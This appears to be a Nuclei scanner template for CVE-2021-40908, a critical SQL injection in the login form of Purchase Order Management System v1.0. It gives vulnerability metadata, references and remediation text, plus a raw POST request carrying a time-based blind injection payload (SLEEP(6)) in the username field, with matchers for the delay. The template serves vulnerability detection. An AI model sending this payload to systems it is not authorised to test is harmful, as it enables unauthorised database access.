id: CVE-2021-40908 info: name: Purchase Order Management v1.0 - SQL Injection author: theamanrawat severity: critical description: | SQL injection vulnerability in Login.php in Sourcecodester Purchase Order Management System v1 by oretnom23, allows attackers to execute arbitrary SQL commands via the username parameter. remediation: | Apply the latest patches or updates provided by the vendor to fix the SQL Injection vulnerability in the Purchase Order Management v1.0 application. reference: - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-09 - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2021-40908 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-40908 cwe-id: CWE-89 epss-score: 0.02031 epss-percentile: 0.87665 cpe: cpe:2.3:a:purchase_order_management_system_project:purchase_order_management_system:1.0:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: purchase_order_management_system_project product: purchase_order_management_system tags: cve,cve2021,sqli,purchase-order,poms http: - raw: - | POST /classes/Login.php?f=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username=test'+AND+(SELECT+4458+FROM+(SELECT(SLEEP(6)))JblN)+AND+'orQN'='orQN&password=test matchers: - type: dsl dsl: - 'duration>=6' - 'status_code == 200' - 'contains(header, "text/html")' - 'contains(body, "status\":\"incorrect\"")' condition: and # digest: 4a0a0047304502210094207c1c12a22f562806a45e567f5895e5e2082a19afcbe4be536b7c40b9602702204562eec546df3a5aa9e2ba1a29ee988ea3a06224140174fe9e7b36140dfafd12:922c64590222798bb761d5b6d8e72950